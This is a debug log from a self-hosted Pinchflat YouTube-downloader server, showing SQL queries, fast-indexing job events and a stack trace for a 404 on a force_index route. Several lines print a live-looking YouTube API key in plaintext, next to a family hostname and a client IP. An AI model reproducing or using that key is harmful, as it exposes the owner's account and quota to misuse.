s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:26:37.810 [debug] QUERY OK source="settings" db=0.1ms idle=736.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.810 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.810 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:37.811 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:37.811 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.811 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.811 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 17:26:37.811 [debug] Fetching recent media IDs from YouTube API for playlist: UUuVLG9pThvBABcYCm7pkNkA 17:26:37.811 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.811 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:37.811 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:37.811 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:37.948 [debug] QUERY OK source="media_items" db=0.6ms idle=136.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", "uASY_3OWFPY", "jUkex-blvkE", "bsfBxs53vBo", "czgTn7UK7A0", "Z_ubhyYgu5Y", "jqlqCIZ3Kfg", "LwMvVo0ui4Q", "fyWiYxOP-xM", "YwwBVKLaBp0", "i04y5n2oTsw", "08ET5Wwg57w", "MavRTdhksZg", "uF_9JGWVV4g", "tUKEzxlfmVE", "NLjiMjJyZoI", "pZaCe-7AEZU", "66Gvth4wHiA", "wBX5sniPBQw", "EQHuOwCGuy8", "RC2lR0Rle5k", ...] 17:26:37.950 [debug] QUERY OK source="media_items" db=0.7ms idle=138.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 17:26:37.950 [debug] QUERY OK source="tasks" db=0.1ms idle=139.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800199, 27, ~U[2026-02-10 23:26:37Z], ~U[2026-02-10 23:26:37Z]] 17:26:37.951 [info] {"args":{"id":27},"id":3800160,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":141003,"event":"job:stop","queue_time":534372,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:38.052 [debug] QUERY OK source="media_items" db=0.5ms idle=101.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [28, "XFWTgmV5C84", "l-1TWD7BAYc", "Vf4rTmR_EC4", "qY4rM_-mNTc", "qVrg5eRJVTA", "4jYdMxhwlz4", "wGxXI3DcvN0", "MSFYhYOJMLE", "pc64L0fvGL4", "HUeC39CZO44", "6aheyYXRwqs", "KLYMjPNppRQ", "dcvQMu15N9A", "_1-lCmzdcec", "r1bMJekCiBw", "roIOgtrjFGU", "W4gLOWTbaY0", "Qq62goUHDD4", "NQiLly6Z1xs", "zGhNdyVFLbE", "oE_vom5pfgU", "ElM4NXN22Xk", "DEFBn0r53uQ", "3t9aWDVCqVI", "4anuB72EMWY", "rDFuee41ptI", "0CPHgR8vK0w", "wBC_bug5DIQ", "TDnzDnKOrLo", "thoukYxcB_M", "WG8idKaX9KI", "evcXDcrjAvA", "hIxEkAZe6N0", "SPQrycmrGD8", "Mijk1_861qk", "WH-C47pZM9s", "jucDFrO89Ko", "XusyNT_k-1c", "l_1PLNAvmlM", "cQ3UWS1HekM", "srj2kfeuToE", "8CkgCYPe68Q", "XIj4PlAuLXQ", "lkOd_XPoz9M", "5_HY3RAIJys", "HCXBKttIXzc", "ueYYN--wEAI", "L6_Op38XjFo", "LDYL8zIgtZM", ...] 17:26:38.053 [debug] QUERY OK source="media_items" db=0.3ms idle=102.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [28] 17:26:38.053 [debug] QUERY OK source="tasks" db=0.0ms idle=96.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800200, 28, ~U[2026-02-10 23:26:38Z], ~U[2026-02-10 23:26:38Z]] 17:26:38.054 [info] {"args":{"id":28},"id":3800161,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":243929,"event":"job:stop","queue_time":427939,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:38.621 [info] GET /sources/38/force_index 17:26:38.621 [debug] QUERY OK source="settings" db=0.1ms idle=567.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:38.621 [debug] QUERY OK source="settings" db=0.0ms idle=567.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:38.621 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:26:38.622 [error] #PID<0.22819.0> running PinchflatWeb.Endpoint (connection #PID<0.22818.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/38/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/38/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/38/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 47498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0", "x-forwarded-for" => "177.221.6.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "177.221.6.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22819.0>, params: %{}, path_info: ["sources", "38", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0"}, {"x-forwarded-for", "177.221.6.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "177.221.6.39"} ], request_path: "/sources/38/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMGSzgnPea9OXoACWLh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/38/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 47498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0", "x-forwarded-for" => "177.221.6.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "177.221.6.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/38/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.22818.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/38/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 47498}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0", "x-forwarded-for" => "177.221.6.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "177.221.6.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.22819.0>, params: %{}, path_info: ["sources", "38", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windo (truncated) 17:26:39.811 [info] {"args":{"id":16},"id":3800162,"meta":{},"system_time":1770765999811708170,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:39.812 [debug] QUERY OK source="sources" db=0.2ms idle=1190.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [16] 17:26:39.812 [debug] QUERY OK source="settings" db=0.0ms idle=1190.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:39.812 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:26:39.812 [debug] QUERY OK source="settings" db=0.0ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:39.812 [debug] Fetching recent media IDs from YouTube API for playlist: UUBa659QWEk1AI4Tg--mrJ2A 17:26:39.812 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:26:39.812 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:26:39.956 [debug] QUERY OK source="media_items" db=0.8ms idle=143.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [16, "7DKv5H5Frt0", "F0JDK_71yDg", "Zl_5LT2fzak", "hNZy603as5w", "pU9sHwNKc2c", "LDiXNsWQzD0", "jplrbxI5GN8", "lIbfMjZ0ME4", "CmZdGo6b5yA", "j3OqAN4ISOw", "XQIu5tZ0vbQ", "CkZyZFa5qO0", "ZgDBIzClmPg", "QqRREz0iBes", "3kwDVw0u4Kw", "TFpzps-DCb0", "ZNVuIU6UUiM", "Is_wu0VRIqQ", "1yfX84RMQ3M", "_G2Q1qsoGEU", "nbafT2w0cCQ", "R2oD1ZHNMFE", "85BykUan6pw", "xq4ZkfojSis", "Oarf76MCrss", "Xn_O2li_jpk", "gisdyTBMNyQ", "EN9JzxzDXU0", "rn_8GXNN7_Q", "72RxerDwzEo", "tMlHDnbEIDA", "ar0klhiJfDI", "xWL40q3DMoQ", "Sj3iI9jZCX8", "1v8u3ua6BPk", "b5Oy29TEVOE", "evV05QeSjAw", "lPaQInkWV7g", "KRIBVykhpC4", "bPTSSHRnnWw", "4ZX9T0kWb4Y", "voYdl7IFZsM", "Kn56bMZ9OE8", "_8W2LIfl5RE", "cUkoqppoFr8", "wcp1BfPUeOc", "YTHZLKFblKo", "jPhJbKBuNnA", "7qNOtgrIjO4", ...] 17:26:39.958 [debug] QUERY OK source="media_items" db=0.8ms idle=145.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [16] 17:26:39.959 [debug] QUERY OK source="tasks" db=0.1ms idle=146.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800201, 16, ~U[2026-02-10 23:26:39Z], ~U[2026-02-10 23:26:39Z]] 17:26:39.959 [info] {"args":{"id":16},"id":3800162,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":147375,"event":"job:stop","queue_time":572108,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:40.813 [info] {"args":{"id":43},"id":3800163,"meta":{},"system_time":1770766000813744896,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:26:40.814 [debug] QUERY OK source="sources" db=0.1ms idle=854.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [43] 17:26:40.814 [debug] QUERY OK source="settings" db=0.1ms idle=854.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 